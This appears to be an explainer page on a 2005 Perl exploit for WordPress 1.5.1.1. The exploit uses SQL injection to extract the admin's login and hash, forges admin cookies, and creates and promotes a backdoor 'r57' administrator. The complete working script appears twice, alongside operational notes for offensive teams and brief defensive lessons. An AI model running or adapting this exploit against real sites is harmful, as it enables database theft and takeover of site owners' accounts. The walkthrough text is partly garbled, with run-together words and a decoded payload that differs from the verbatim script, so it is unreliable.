WordPress Core 1.5.1.1 'add new admin' SQL Injection Exploit Explained

WordPress Core 1.5.1.1 'add new admin' SQL Injection Exploit Explained
What this paper is
This paper details a vulnerability in WordPress versions up to and including 1.5.1.1. The vulnerability allows an attacker to perform an SQL injection attack through the "add new admin" functionality. The provided exploit script automates the process of exploiting this vulnerability to create a new administrator account with a known username and password.
Simple technical breakdown
The core of the vulnerability lies in how WordPress handled user registration or modification in older versions. The exploit targets a specific page or functionality that accepts user input without proper sanitization. By injecting malicious SQL code into this input, an attacker can manipulate the database.
In this specific case, the exploit targets the process of adding a new administrator. It first attempts to retrieve the username and password hash of the existing administrator (identified by ID=1). It then uses this information to log in as that administrator (by setting cookies) and proceeds to create a new user named "r57" with the password "r57". Finally, it "levels up" this new user to administrator privileges.
Complete code and payload walkthrough
The provided Perl script automates the exploitation process. Let's break down its components:
#!/usr/bin/perl
## WordPress <= 1.5.1.1 sql injection "add new admin" exploit
## by RST/GHC , http://rst.void.ru , http://ghc.ru
## coded by 1dt.w0lf
use LWP::UserAgent;
use Getopt::Std;
use HTTP::Cookies;
use Digest::MD5 qw(md5_hex);#!/usr/bin/perl: Shebang line, indicating the script should be executed with the Perl interpreter.- Comments: Provide information about the exploit's target, authors, and coding attribution.
use LWP::UserAgent;: Imports theLWP::UserAgentmodule, which is used for making HTTP requests.use Getopt::Std;: Imports theGetopt::Stdmodule for parsing command-line options.use HTTP::Cookies;: Imports theHTTP::Cookiesmodule to manage HTTP cookies, essential for session management.use Digest::MD5 qw(md5_hex);: Imports themd5_hexfunction from theDigest::MD5module to calculate MD5 hashes.
getopts('h:p:');
$path = $opt_h;
$pref = $opt_p || 'wp_';
if(!$path) { usage(); }getopts('h:p:'): Parses command-line arguments.-hexpects a value (the path to the WordPress installation).-pexpects a value (the database table prefix, optional).
$path = $opt_h;: Assigns the value of the-hoption to the$pathvariable.$pref = $opt_p || 'wp_';: Assigns the value of the-poption to$pref. If-pis not provided, it defaults to'wp_'.if(!$path) { usage(); }: Checks if the$pathvariable is empty. If it is, it calls theusage()subroutine to display help information and exits.
$xpl = LWP::UserAgent->new() or die;
&header();
print " +---[x] STEP 1 - TRY GET ADMIN INFO\n";
$reg = $path;
$reg .= '?%63%61%74%20%36%36%36%20%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%36%36%36%2C%63%6F%6E'.
'%63%61%74%28%63%68%61%72%28%35%38%2C%35%38%2C%35%38%29%2C%75%73%65%72%5F%6C%6F%67%69'.
'%6E%2C%63%68%61%72%28%35%38%2C%35%38%2C%35%38%29%2C%75%73%65%72%5F%70%61%73%73%2C%63'.
'%68%61%72%28%35%38%2C%35%38%2C%35%38%29%29%2C%6E%75%6C%6C%2C%6E%75%6C%6C%2C%6E%75%6C'.
'%6C%20%66%72%6F%6D%20'.$pref.'%75%73%65%72%73%20%57%48%45%52%45%20%49%44=1'; ### 1 - admin ID
$res = $xpl->get($reg);
die "ERROR : ", $res->status_line unless $res->is_success;
if($res->content =~ m/(?::::)(.*)(?::::)([a-f0-9]{32})(?::::)(<\/title>)/)
{
$login = $1; $hash = $2;
print "\n>> LOGIN : $login\n>> HASH : $hash\n\n";
}
else { print "ERROR : Forum not vulnerable or bad prefix."; exit(); }$xpl = LWP::UserAgent->new() or die;: Creates a newLWP::UserAgentobject to handle HTTP requests.&header();: Calls theheader()subroutine to print the script's header.print " +---[x] STEP 1 - TRY GET ADMIN INFO\n";: Prints a status message.$reg = $path;: Initializes the request URL with the base path.$reg .= '...': This is the core of the SQL injection. The string is URL-encoded. Let's decode it:%63%61%74%20%36%36%36%20%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%36%36%36%2C%63%6F%6E->cat 666 union select 666,con%63%61%74%28%63%68%61%72%28%35%38%2C%35%38%2C%35%38%29%2C%75%73%65%72%5F%6C%6F%67%69->cat(char(58,58,58),user_logi%6E%2C%63%68%61%72%28%35%38%2C%35%38%2C%35%38%29%2C%75%73%65%72%5F%70%61%73%73%2C%63->n,char(58,58,58),user_pass,c%68%61%72%28%35%38%2C%35%38%2C%35%38%29%29%2C%6E%75%6C%6C%2C%6E%75%6C%6C%2C%6E%75%6C->har(58,58,58)),null,null,nul%6C%20%66%72%6F%6D%20'.$pref.'%75%73%65%72%73%20%57%48%45%52%45%20%49%44=1';->l from wp_users WHERE ID=1- Decoded SQL Query:
cat 666 union select 666,concat(char(58,58,58),user_login,char(58,58,58),user_pass,char(58,58,58)),null,null,null from wp_users WHERE ID=1 - This query attempts to retrieve the
user_loginanduser_passof the user withID=1(typically the first administrator). Theconcat(char(58,58,58), ...)part is used to format the output with triple colons (:::) as delimiters, which are then used for parsing.
$res = $xpl->get($reg);: Sends the crafted GET request to the WordPress installation.die "ERROR : ", $res->status_line unless $res->is_success;: Checks if the HTTP request was successful. If not, it prints an error and exits.if($res->content =~ m/(?::::)(.*)(?::::)([a-f0-9]{32})(?::::)(<\/title>)/): This is a regular expression that parses the response content.(?::::): Non-capturing group for the triple colon delimiter.(.*): Captures the username ($1).([a-f0-9]{32}): Captures the MD5 hash of the password ($2).<\/title>: Matches the closing title tag, which is likely part of the injected output.
$login = $1; $hash = $2;: Assigns the captured username and hash to variables.print "\n>> LOGIN : $login\n>> HASH : $hash\n\n";: Prints the retrieved administrator's login and password hash.else { print "ERROR : Forum not vulnerable or bad prefix."; exit(); }: If the regex doesn't match, it means the injection failed, or the table prefix is incorrect.
$cookie_jar = HTTP::Cookies->new();
($cpath = $path) =~ s!/$!!;
$hash = md5_hex($hash);
($host = $cpath) =~ s!http://([^/]*).*!$1!;
$cpath = md5_hex($cpath);
$xpl->cookie_jar( $cookie_jar );
$cookie_jar->set_cookie( "0","wordpresspass_$cpath","$hash","/",$host,,,,,);
$cookie_jar->set_cookie( "1","wordpressuser_$cpath","$login","/",$host,,,,,);$cookie_jar = HTTP::Cookies->new();: Creates a new cookie jar object.($cpath = $path) =~ s!/$!!;: Removes a trailing slash from the$pathif present.$hash = md5_hex($hash);: Crucially, this line hashes the retrieved password hash again with MD5. This is likely an attempt to match how WordPress might store or compare passwords during login, or it's a mistake in the exploit logic where it should be hashing the plaintext password to compare against the stored hash. Given the context of creating a new user, it's more probable that the exploit should be generating a password and then hashing it to store, or it's trying to bypass a check that expects a double-hashed value. However, the exploit later uses "r57" as plaintext for the new user. This part seems to be setting cookies for the existing admin, which is unusual if the goal is to create a new admin. It's more likely this section is intended to authenticate as the existing admin to perform the next steps, but the hash is used directly inset_cookiewithout further processing for the new user creation. Let's assume for now it's trying to set cookies for the existing admin.($host = $cpath) =~ s!http://([^/]*).*!$1!;: Extracts the hostname from the$path.$cpath = md5_hex($cpath);: Creates an MD5 hash of the cleaned path. This is likely used to create unique cookie names to avoid conflicts if multiple WordPress sites are on the same domain.$xpl->cookie_jar( $cookie_jar );: Associates the cookie jar with the user agent.$cookie_jar->set_cookie(...): Sets two cookies:wordpresspass_$cpath: Stores the (re-hashed) password hash.wordpressuser_$cpath: Stores the retrieved username.- These cookies are intended to simulate a logged-in session for the original administrator.
print " +---[x] STEP 2 - CREATE NEW USER\n";
$reg = $path;
$reg .= 'wp-admin/users.php';
$res = $xpl->post("$reg",
{
"action" => "adduser",
"user_login" => "r57",
"firstname" => "RST",
"lastname" => "GHC",
"email" => "billy\@microsoft.com",
"uri" => "http://rst.void.ru",
"pass1" => "r57",
"pass2" => "r57",
"adduser" => "Submit",
},
Referer => $reg
);print " +---[x] STEP 2 - CREATE NEW USER\n";: Prints a status message.$reg = $path; $reg .= 'wp-admin/users.php';: Sets the target URL to theusers.phppage within thewp-admindirectory.$res = $xpl->post("$reg", { ... }, Referer => $reg);: Sends a POST request tousers.php. This is where the new user is created.action => "adduser": Specifies the action to perform.user_login => "r57": The username for the new user.firstname => "RST",lastname => "GHC": First and last names.email => "billy\@microsoft.com": Email address.uri => "http://rst.void.ru": User's website URI.pass1 => "r57",pass2 => "r57": The desired password for the new user. The exploit directly provides the plaintext password here.adduser => "Submit": The submit button value.Referer => $reg: Sets theRefererheader, which is often checked by web applications to prevent CSRF attacks.
print " +---[x] STEP 3 - GET ID OF NEW USER\n";
$reg = $path;
$reg .= 'wp-admin/users.php';
$res = $xpl->get("$reg",Referer => $reg);
@res = split(/\n/,$res->content);
$id = 0;
for(@res)
{
if(/(?:\<td align=\'center\'\>)([0-9]*)(?:\<\/td\>)/) { $id = $1; }
if(/\<td\>\<strong\>r57\<\/strong\>\<\/td\>/) { last; }
}
die "ERROR : ", $res->status_line unless $res->is_success;
if($id != 0) { print "\n>> ID : $id\n\n"; }
else { print "[-] ERROR : CAN'T GET NEW USER ID\n"; exit(); }print " +---[x] STEP 3 - GET ID OF NEW USER\n";: Prints a status message.$reg = $path; $reg .= 'wp-admin/users.php';: Sets the target URL again tousers.php.$res = $xpl->get("$reg",Referer => $reg);: Makes a GET request tousers.phpto retrieve the list of users.@res = split(/\n/,$res->content);: Splits the HTML content of the response into an array of lines.$id = 0;: Initializes a variable to store the user ID.for(@res) { ... }: Iterates through each line of the HTML content.if(/(?:\<td align=\'center\'\>)([0-9]*)(?:\<\/td\>)/) { $id = $1; }: This regex looks for table data cells (<td>) withalign='center'and captures any digits within them. This is likely intended to capture the user ID, which is often displayed in a centered column.if(/\<td\>\<strong\>r57\<\/strong\>\<\/td\>/) { last; }: This regex looks for a table cell containing the username "r57" in a<strong>tag. When found, it breaks out of the loop. The intention is to capture the ID of the "r57" user. The logic here is that the$idvariable will hold the ID from the previous<td>line encountered before the line containing "r57". This is a common, albeit slightly fragile, way to parse HTML tables when the exact structure is known.
die "ERROR : ", $res->status_line unless $res->is_success;: Checks for HTTP success.if($id != 0) { print "\n>> ID : $id\n\n"; } else { ... }: If a user ID was found, it's printed. Otherwise, an error is reported.
print " +---[x] STEP 4 - LEVEL UP FOR NEW USER\n\n";
$reg = $path;
$reg .= 'wp-admin/users.php?action=promote&id='.$id.'&prom=up';
for($i=0;$i<10;$i++)
{
print ">> LEVEL UP # $i\n";
$res = $xpl->get("$reg",Referer => $reg);
die "ERROR : ", $res->status_line unless $res->is_success;
}
print "\nTHATS ALL. NOW YOU CAN LOGIN WITH USERNAME 'r57' AND PASSWORD 'r57'\n";print " +---[x] STEP 4 - LEVEL UP FOR NEW USER\n\n";: Prints a status message.$reg = $path; $reg .= 'wp-admin/users.php?action=promote&id='.$id.'&prom=up';: Constructs the URL to promote the user.action=promote: Specifies the promotion action.id='.$id: The ID of the user to promote.prom=up: Likely a parameter indicating "promote up" to administrator level.
for($i=0;$i<10;$i++) { ... }: This loop executes the promotion request 10 times. In older WordPress versions, promoting a user might have involved multiple steps or required repeated confirmation. This loop is a brute-force approach to ensure the promotion takes effect.print ">> LEVEL UP # $i\n";: Prints the current promotion attempt number.$res = $xpl->get("$reg",Referer => $reg);: Sends the GET request to promote the user.die "ERROR : ", $res->status_line unless $res->is_success;: Checks for HTTP success.print "\nTHATS ALL. NOW YOU CAN LOGIN WITH USERNAME 'r57' AND PASSWORD 'r57'\n";: Informs the user that the exploit has completed successfully and provides the credentials for the newly created administrator account.
sub usage()
{
&header();
print "USAGE : r57wp.pl [OPTIONS]\n";
print "\noptions:\n\n";
print "-h [path]\n";
print " Path to wordpress installed\n";
print "-p [prefix] (optional)\n";
print " Database tables prefix (default 'wp_')\n\n";
print "e.g.: r57wp.pl -h http://blah.com/wordpress/\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "(c)oded by 1dt.w0lf\n";
print "RST/GHC\n";
print "http://ghc.ru\n";
print "http://rst.void.ru\n";
exit();
}
sub header()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print " WordPress 1.5.1.1 exploit \n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
}
# milw0rm.com [2005-06-21]sub usage(): This subroutine prints the usage instructions for the script, including required and optional arguments.sub header(): This subroutine prints the script's header information.# milw0rm.com [2005-06-21]: A comment indicating the source and publication date of the exploit.
Mapping of code fragments to practical purposes:
use LWP::UserAgent;,use Getopt::Std;,use HTTP::Cookies;,use Digest::MD5 qw(md5_hex);: Setup and Dependencies - Imports necessary Perl modules for web requests, argument parsing, cookie handling, and hashing.getopts('h:p:'),$path = $opt_h;,$pref = $opt_p || 'wp_';: Argument Parsing - Defines and retrieves command-line arguments for the target path and database prefix.$xpl = LWP::UserAgent->new(): HTTP Client Initialization - Creates an object to perform HTTP requests.$reg .= '?%63%61%74%20%36%36%36%20%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%36%36%36%2C%63%6F%6E...': SQL Injection Payload (Step 1) - Constructs the URL with the SQL injection query to extract admin credentials.$res = $xpl->get($reg);: Execute Initial Query - Sends the crafted GET request to the target.if($res->content =~ m/(?::::)(.*)(?::::)([a-f0-9]{32})(?::::)(<\/title>)/): Parse Admin Credentials - Extracts the username and password hash from the response using regex.$cookie_jar = HTTP::Cookies->new();,$cookie_jar->set_cookie(...): Session Emulation - Creates and sets cookies to mimic a logged-in administrator session.$reg .= 'wp-admin/users.php';,$xpl->post("$reg", { "action" => "adduser", ... }): New User Creation (Step 2) - Sends a POST request to create a new user with specified credentials.$xpl->get("$reg",Referer => $reg);(in Step 3): Retrieve User List - Fetches the user list page to find the newly created user's ID.if(/(?:\<td align=\'center\'\>)([0-9]*)(?:\<\/td\>)/) { $id = $1; },if(/\<td\>\<strong\>r57\<\/strong\>\<\/td\>/) { last; }: Parse New User ID - Extracts the ID of the "r57" user from the HTML response.$reg .= 'wp-admin/users.php?action=promote&id='.$id.'&prom=up';,for($i=0;$i<10;$i++) { $res = $xpl->get("$reg",Referer => $reg); }: User Promotion (Step 4) - Repeatedly sends GET requests to promote the new user to administrator level.sub usage(),sub header(): Utility Subroutines - Provide help information and script headers.
Practical details for offensive operations teams
- Required Access Level: Low privilege. The exploit targets a web interface, so network access to the target WordPress site is sufficient. No local system access is required.
- Lab Preconditions:
- A target WordPress installation (version <= 1.5.1.1) is required for testing. This version is extremely old and likely not found in the wild.
- The target WordPress installation must be accessible over HTTP/HTTPS.
- The
wp-admin/users.phppage must be accessible and functioning. - The SQL injection vulnerability must be present in the
ID=1user retrieval mechanism. - The
adduseraction inusers.phpmust be vulnerable to creating new users without proper authentication checks (which is implied by the exploit's success). - The user promotion mechanism (
action=promote) must be exploitable.
- Tooling Assumptions:
- Perl interpreter installed on the attacker's machine.
- Perl modules
LWP::UserAgent,Getopt::Std,HTTP::Cookies, andDigest::MD5installed. These are standard modules and usually available.
- Execution Pitfalls:
- Incorrect Path: Providing the wrong
$pathto the WordPress installation will cause the script to fail. - Incorrect Prefix: If the WordPress database tables use a prefix other than
wp_and the-poption is not used, the initial SQL injection query will fail. - WAF/IDS Evasion: The SQL injection payload is relatively simple. Modern Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) would likely detect and block this request. The exploit uses URL encoding, but more sophisticated evasion techniques would be needed against modern defenses.
- HTML Parsing Fragility: The script relies on parsing HTML output to find the new user's ID. Changes in the WordPress HTML structure (even minor ones) could break this parsing logic.
- Authentication Bypass: The exploit assumes that the
adduseraction can be performed without proper authentication, or that the cookies set in Step 1 are sufficient to bypass authentication for this action. This is the core of the vulnerability. - Promotion Loop: The 10-iteration loop for promotion might be excessive or insufficient depending on the exact behavior of the target version.
- Cookie Handling: If the target site uses strict cookie security settings (e.g.,
HttpOnly,Secureflags that are not met by the exploit's cookie setting), the session emulation might fail.
- Incorrect Path: Providing the wrong
- Telemetry:
- Network Traffic: The exploit generates HTTP GET and POST requests to the target WordPress site.
- SQL Injection Attempts: The initial GET request to the root of the WordPress installation with the encoded SQL query.
- User Creation Logs: If the target system logs user creation events, the creation of "r57" will be recorded.
- User Promotion Logs: Similar to user creation, promotion events might be logged.
- Authentication Logs: If the target system logs login attempts, the successful login of "r57" with password "r57" would be recorded.
- Database Changes: The most significant telemetry is the addition of a new user record in the WordPress database.
Where this was used and when
This exploit targets WordPress version 1.5.1.1, which was released around 2005. Exploits for this version would have been relevant in the mid-2000s. Given its age, it's highly unlikely to be found on actively maintained websites today. However, it serves as a historical example of SQL injection vulnerabilities in early web content management systems. Such vulnerabilities were common in the early days of web development before robust input sanitization and parameterized queries became standard practice.
Defensive lessons for modern teams
- Keep Software Updated: This is the most critical lesson. Running outdated software like WordPress 1.5.1.1 is a massive security risk. Regular updates patch known vulnerabilities.
- Input Validation and Sanitization: All user-supplied input must be rigorously validated and sanitized before being used in database queries or other sensitive operations. This prevents SQL injection and other injection attacks.
- Parameterized Queries/Prepared Statements: Use parameterized queries or prepared statements for all database interactions. This separates SQL code from data, making it impossible for injected data to be interpreted as commands.
- Principle of Least Privilege: Applications and database users should only have the permissions they absolutely need to function.
- Web Application Firewalls (WAFs): While not a primary defense, WAFs can provide an additional layer of protection by detecting and blocking common attack patterns, including SQL injection.
- Secure Session Management: Implement secure cookie handling, including
HttpOnlyandSecureflags, and avoid relying on easily guessable or predictable session identifiers. - Regular Security Audits and Penetration Testing: Proactively identify vulnerabilities in your applications through code reviews and penetration tests.
ASCII visual (if applicable)
This exploit involves a sequential series of HTTP requests and responses. A simple flow diagram can illustrate this:
+-----------------+ +-----------------+ +-----------------+
| Attacker's |----->| Target WordPress|----->| Attacker's |
| Machine (Perl) | | (v <= 1.5.1.1) | | Machine (Perl) |
+-----------------+ +-----------------+ +-----------------+
| ^ |
| STEP 1: | | STEP 4:
| GET Admin Info | | Promote User
| (SQL Injection) | | (Repeated GET)
| | |
v | v
+-----------------+ +-----------------+ +-----------------+
| Attacker's |----->| Target WordPress|----->| Attacker's |
| Machine (Perl) | | (v <= 1.5.1.1) | | Machine (Perl) |
+-----------------+ +-----------------+ +-----------------+
| ^ |
| STEP 2: | | Final Status:
| POST New User | | New Admin Created
| (Exploiting Auth) | |
| | |
v | v
+-----------------+ +-----------------+
| Attacker's |----->| Target WordPress|
| Machine (Perl) | | (v <= 1.5.1.1) |
+-----------------+ +-----------------+
|
| STEP 3:
| GET User List
| (Parse ID)
|
v
+-----------------+
| Attacker's |
| Machine (Perl) |
+-----------------+Explanation of the diagram:
- Step 1: The attacker's Perl script sends a GET request to the WordPress site. This request contains a URL-encoded SQL injection payload designed to extract the username and password hash of the administrator with
ID=1. - Step 2: The script then sets cookies to emulate a logged-in session as the original administrator. It proceeds to send a POST request to
wp-admin/users.phpwithaction=adduser, creating a new user ("r57" with password "r57"). This step exploits the vulnerability where user creation might not be properly authenticated. - Step 3: The script fetches the
wp-admin/users.phppage again to parse the HTML and find the user ID of the newly created "r57" user. - Step 4: Finally, the script repeatedly sends GET requests to
wp-admin/users.phpwithaction=promoteand the user's ID. This process "levels up" the "r57" user to an administrator.
Source references
- Exploit-DB Paper: WordPress Core 1.5.1.1 - 'add new admin' SQL Injection
- Exploit-DB Raw Exploit Code:
- WordPress 1.5.1.1 Release Information (Historical): While specific release notes for this exact version might be hard to find directly, general WordPress release history can be referenced for context. The vulnerability was published in 2005, indicating the target version is from that era.
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
## WordPress <= 1.5.1.1 sql injection "add new admin" exploit
## by RST/GHC , http://rst.void.ru , http://ghc.ru
## coded by 1dt.w0lf
use LWP::UserAgent;
use Getopt::Std;
use HTTP::Cookies;
use Digest::MD5 qw(md5_hex);
getopts('h:p:');
$path = $opt_h;
$pref = $opt_p || 'wp_';
if(!$path) { usage(); }
$xpl = LWP::UserAgent->new() or die;
&header();
print " +---[x] STEP 1 - TRY GET ADMIN INFO\n";
$reg = $path;
$reg .= '?%63%61%74=%36%36%36%20%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%36%36%36%2C%63%6F%6E'.
'%63%61%74%28%63%68%61%72%28%35%38%2C%35%38%2C%35%38%29%2C%75%73%65%72%5F%6C%6F%67%69'.
'%6E%2C%63%68%61%72%28%35%38%2C%35%38%2C%35%38%29%2C%75%73%65%72%5F%70%61%73%73%2C%63'.
'%68%61%72%28%35%38%2C%35%38%2C%35%38%29%29%2C%6E%75%6C%6C%2C%6E%75%6C%6C%2C%6E%75%6C'.
'%6C%20%66%72%6F%6D%20'.$pref.'%75%73%65%72%73%20%57%48%45%52%45%20%49%44=1'; ### 1 - admin ID
$res = $xpl->get($reg);
die "ERROR : ", $res->status_line unless $res->is_success;
if($res->content =~ m/(?::::)(.*)(?::::)([a-f0-9]{32})(?::::)(<\/title>)/)
{
$login = $1; $hash = $2;
print "\n>> LOGIN : $login\n>> HASH : $hash\n\n";
}
else { print "ERROR : Forum not vulnerable or bad prefix."; exit(); }
$cookie_jar = HTTP::Cookies->new();
($cpath = $path) =~ s!/$!!;
$hash = md5_hex($hash);
($host = $cpath) =~ s!http://([^/]*).*!$1!;
$cpath = md5_hex($cpath);
$xpl->cookie_jar( $cookie_jar );
$cookie_jar->set_cookie( "0","wordpresspass_$cpath","$hash","/",$host,,,,,);
$cookie_jar->set_cookie( "1","wordpressuser_$cpath","$login","/",$host,,,,,);
print " +---[x] STEP 2 - CREATE NEW USER\n";
$reg = $path;
$reg .= 'wp-admin/users.php';
$res = $xpl->post("$reg",
{
"action" => "adduser",
"user_login" => "r57",
"firstname" => "RST",
"lastname" => "GHC",
"email" => "billy\@microsoft.com",
"uri" => "http://rst.void.ru",
"pass1" => "r57",
"pass2" => "r57",
"adduser" => "Submit",
},
Referer => $reg
);
print " +---[x] STEP 3 - GET ID OF NEW USER\n";
$reg = $path;
$reg .= 'wp-admin/users.php';
$res = $xpl->get("$reg",Referer => $reg);
@res = split(/\n/,$res->content);
$id = 0;
for(@res)
{
if(/(?:\<td align=\'center\'\>)([0-9]*)(?:\<\/td\>)/) { $id = $1; }
if(/\<td\>\<strong\>r57\<\/strong\>\<\/td\>/) { last; }
}
die "ERROR : ", $res->status_line unless $res->is_success;
if($id != 0) { print "\n>> ID : $id\n\n"; }
else { print "[-] ERROR : CAN'T GET NEW USER ID\n"; exit(); }
print " +---[x] STEP 4 - LEVEL UP FOR NEW USER\n\n";
$reg = $path;
$reg .= 'wp-admin/users.php?action=promote&id='.$id.'&prom=up';
for($i=0;$i<10;$i++)
{
print ">> LEVEL UP # $i\n";
$res = $xpl->get("$reg",Referer => $reg);
die "ERROR : ", $res->status_line unless $res->is_success;
}
print "\nTHATS ALL. NOW YOU CAN LOGIN WITH USERNAME 'r57' AND PASSWORD 'r57'\n";
sub usage()
{
&header();
print "USAGE : r57wp.pl [OPTIONS]\n";
print "\noptions:\n\n";
print "-h [path]\n";
print " Path to wordpress installed\n";
print "-p [prefix] (optional)\n";
print " Database tables prefix (default 'wp_')\n\n";
print "e.g.: r57wp.pl -h http://blah.com/wordpress/\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "(c)oded by 1dt.w0lf\n";
print "RST/GHC\n";
print "http://ghc.ru\n";
print "http://rst.void.ru\n";
exit();
}
sub header()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print " WordPress 1.5.1.1 exploit \n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
}
# milw0rm.com [2005-06-21]